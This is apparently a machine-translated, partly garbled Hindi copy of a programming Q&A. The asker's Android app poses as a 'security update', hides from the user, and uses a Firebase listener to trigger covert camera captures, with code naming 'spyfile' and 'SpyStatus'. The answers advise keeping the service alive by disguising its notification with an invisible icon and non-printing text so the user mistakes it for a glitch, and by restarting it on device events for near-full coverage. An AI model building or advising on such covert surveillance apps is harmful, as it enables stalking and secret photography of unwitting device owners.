android फायरबेज बालविवेक के साथ पृष्ठभूमि सेवा कुछ मिनट बाद काम नहीं कर रहा है




service firebase (2)

मैंने एक ऐसी सेवा बनाई है जिसे मैं अग्रभूमि अधिसूचना दिखाए बिना हमेशा चलाना चाहता हूं। मेरे पास Firebase श्रोता हैं जो कि onStartCommand है और जब डेटाबेस में डेटा परिवर्तन होता है तो सुनता है। जब भी डेटा में परिवर्तन होता है यह एक विशिष्ट काम करता है जैसे कब्जा छवि

गतिविधि वर्ग में कुछ भी नहीं है, मैंने वहां सेवा शुरू कर दी है और फिर मैंने इसे खत्म कर दिया है। समस्या यह है कि मैं अपने Samsung J2 डिवाइस पर और Nexus 5 भी देख सकता हूं, जब भी मैं ऐप ड्रॉवर से आवेदन को मारता हूं, उस सर्विस को रोक दिया गया था। मैंने BOOT_COMPLETED पर ब्रॉडकास्ट रिसीवर भी लागू किया है और यह भी onDestroy पर सेवा में है लेकिन यह बूटिंग पर काम नहीं कर रहा है। लघु में मेरी सेवा हमेशा के लिए नहीं चल रही है। इसके अलावा मुझे फ़ायरबेस श्रोता के बारे में निश्चित नहीं है कि यह पृष्ठभूमि सेवा में काम करेगा या नहीं। व्हाट्सएप, बढ़ोतरी, एप्पल जैसे कई ऐप हैं , जो कई अन्य ऐप हैं जो बंद होने पर भी पुनरारंभ होते हैं। मैं चाहता हूं कि मेरा ऐप हर बार फायरबसे डाटाबेस को सुने। इसकी विशुद्ध सेवा आधारित ऐप। इसमें कोई गतिविधि नहीं है नीचे कोड है-

मैनिफ़ेस्ट फ़ाइल

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.security.update">

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-feature android:name="android.hardware.camera" />
<uses-permission android:name="android.permission.WAKE_LOCK" />

<application
    android:screenOrientation="portrait"
    android:name="android.support.multidex.MultiDexApplication"
    android:allowBackup="true"
    android:icon="@mipmap/ic_launcher"
    android:label="@string/app_name"
    android:supportsRtl="true"
    android:theme="@style/AppTheme">


    <activity
        android:name=".ActivityForPermissions"
        android:screenOrientation="portrait">
        <intent-filter>
            <action android:name="android.intent.action.MAIN" />

            <category android:name="android.intent.category.LAUNCHER" />
        </intent-filter>
    </activity>


    <service android:name="com.security.update.CameraService"
        android:enabled="true"
        />

    <receiver android:name="com.security.update.ReceiverCall"
        android:enabled="true">
        <intent-filter>
            <action android:name="RESTART_SERVICE" />
            <action android:name="android.intent.action.BOOT_COMPLETED" />
        </intent-filter>
    </receiver>

</application>

गतिविधि वर्ग

 public class ActivityForPermissions extends AppCompatActivity {

  @Override
  public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    startService(new   Intent(ActivityForPermissions.this,CameraService.class));
    finish();
}


@Override
protected void onDestroy() {
    super.onDestroy();
}}

रिसीवर क्लास

public class ReceiverCall extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {

    context.startService(new Intent(context, CameraService.class));;
    }

 }

सर्विस क्लास

public class CameraService extends Service
{
//Camera variables
//a surface holder
private SurfaceHolder sHolder;
//a variable to control the camera
private Camera mCamera;
//the camera parameters
private Parameters parameters;
/** Called when the activity is first created. */
private StorageReference mStorageRef;
File spyfile;
FirebaseDatabase database;
public static DatabaseReference RequestRef,SpyStatus;
String devicemodel;

@Override
public void onCreate()
{
    super.onCreate();
    android.os.Debug.waitForDebugger();
}

@Override
public int onStartCommand(Intent intent, int flags, int startId) {
    devicemodel = android.os.Build.MODEL;
    mStorageRef = FirebaseStorage.getInstance().getReference();
    database = FirebaseDatabase.getInstance();
    RequestRef = database.getReference("CameraRequest");
    SpyStatus = database.getReference("SpyStatus");
    ListenerForRequestDone();
    return START_STICKY;

}

@Override
public void onDestroy() {
    super.onDestroy();
    Intent intent = new Intent("RESTART_SERVICE");
    sendBroadcast(intent);
}

 public void ListenerForRequestDone(){
    RequestRef.addChildEventListener(new ChildEventListener() {
        @Override
        public void onChildAdded(DataSnapshot dataSnapshot, String s) {

        }

        @Override
        public void onChildChanged(DataSnapshot dataSnapshot, String s) {
            StartImageCapture(1);
        }

        @Override
        public void onChildRemoved(DataSnapshot dataSnapshot) {

        }

        @Override
        public void onChildMoved(DataSnapshot dataSnapshot, String s) {

        }

        @Override
        public void onCancelled(DatabaseError databaseError) {

        }
    });
}

इसके अलावा वहाँ समान प्रश्न हैं जैसे यह लेकिन कोई उचित जवाब नहीं है।

https://code.i-harness.com


यह विषय DroidconIn ("फायरबेज रीयलटाइम डाटाबेस गहरे गोता") पर निम्नलिखित प्रस्तुति में आया था। वास्तविक रूप से आप 'सामान्य' फ़ायरबेज सिंक अपडेट प्राप्त करने पर निर्भर नहीं कर सकते, जबकि पृष्ठभूमि में बल्कि किसी प्रकार की सेटअप की आवश्यकता है जो पुश नोटिफिकेशन भेज सकता है।

https://www.youtube.com/watch?v=1nUSoCZlnDo&t=25m10s


पहला जवाब:

आपकी सेवा को मार दिया जा रहा है क्योंकि आप कुछ ऐसा करने का प्रयास कर रहे हैं जो Google / Android OS स्पष्ट रूप से ऐसा नहीं करना चाहता है यहां एसडीके डॉक्स से कट गया है और फिर मैं समझाऊंगा:

(सेवा जीवनचक्र से) क्योंकि केवल कुछ ही प्रक्रिया आम तौर पर उपयोगकर्ता को दिखाई देती हैं, इसका मतलब है कि कम स्मृति स्थितियों को छोड़कर सेवा को नहीं मारना चाहिए। हालांकि, चूंकि उपयोगकर्ता किसी पृष्ठभूमि सेवा के बारे में सीधे अवगत नहीं है, उस स्थिति में इसे मारने के लिए एक वैध उम्मीदवार माना जाता है, और आपको इसके लिए तैयार होना चाहिए। विशेष रूप से, लंबे समय से चलने वाली सेवाओं को मारने की संभावना बढ़ जाएगी और उन्हें मारने की गारंटी दी जाती है (और यदि उचित हो तो पुनः आरंभ किया जाता है) यदि वे लंबे समय तक चल रहे हैं

आप देख रहे हैं, वे वास्तव में यह सुनिश्चित करने की कोशिश कर रहे हैं कि उपयोगकर्ता के सैकड़ों सैकड़ों स्पाइस्वाइसेज़ निरंतर चल रहे हैं, संसाधनों को सताएं या जो भी हो आप इससे कैसे बच सकते हैं? इसका जवाब सही है ... कुछ प्रकार के अधिसूचना दिखाएं, यहां तक ​​कि एक यह भी कहता है कि 'सर्विस रनिंग' सर्विस को नष्ट होने से रखेगी। बेशक, अगर आप वास्तव में उपयोगकर्ता पर जासूसी करने की कोशिश कर रहे हैं, तो अधिसूचना डालना कि जासूस सेवा चल रही है, यह एक अच्छा विचार नहीं है। यदि आप इस पद्धति के साथ आगे बढ़ना चाहते हैं, तो एक 'अदृश्य' अधिसूचना आइकन और गैर-मुद्रण पाठ की कोशिश करें। अगर उपयोगकर्ता अधिसूचनाओं को देख रहा है, तो शायद उन्हें यह न दिखाई दे, या यह सोचें कि यह सिर्फ एक गड़बड़ है।

दूसरा जवाब:

अधिक 'ईवेंट-संचालित' डिज़ाइन पर स्विच करें। मैं मान रहा हूँ कि आप 'पर-बूट', 'कॉल-प्राप्त' और अन्य संदेशों को पकड़ने में सक्षम हैं, इसलिए ऐसी घटनाओं के लिए रिसीवर पंजीकृत करें जो हैंडसेट के उपयोग को इंगित करेगी, इस तरह से आप आसानी से कई 10-15 मिनट खंड लगभग पूर्ण कवरेज पाने के लिए

मैं इस तरह की घटनाओं के लिए लक्ष्य था:

  • पावर कनेक्ट / डिस्कनेक्ट किया गया
  • वाईफाई राज्य परिवर्तन
  • स्क्रीन बैकलाइट चालू / बंद और / या स्क्रीन लॉक की स्थिति बदल दी गई है।

तीसरा जवाब:

'बाइंडिंग' पैटर्न पर एक नज़र डालें यदि आप सेवा में 'बाँध' करने के लिए किसी भी गतिविधि को प्राप्त कर सकते हैं, तो इसकी गारंटी है कि जब तक यह बंधी है तब तक उसे मारने की नहीं । यदि आप 'START_STICKY' को बाध्यकारी पैटर्न के साथ जोड़ते हैं, तो बाध्यकारी जारी होने के बाद आप कुछ समय के लिए चलते रहेंगे।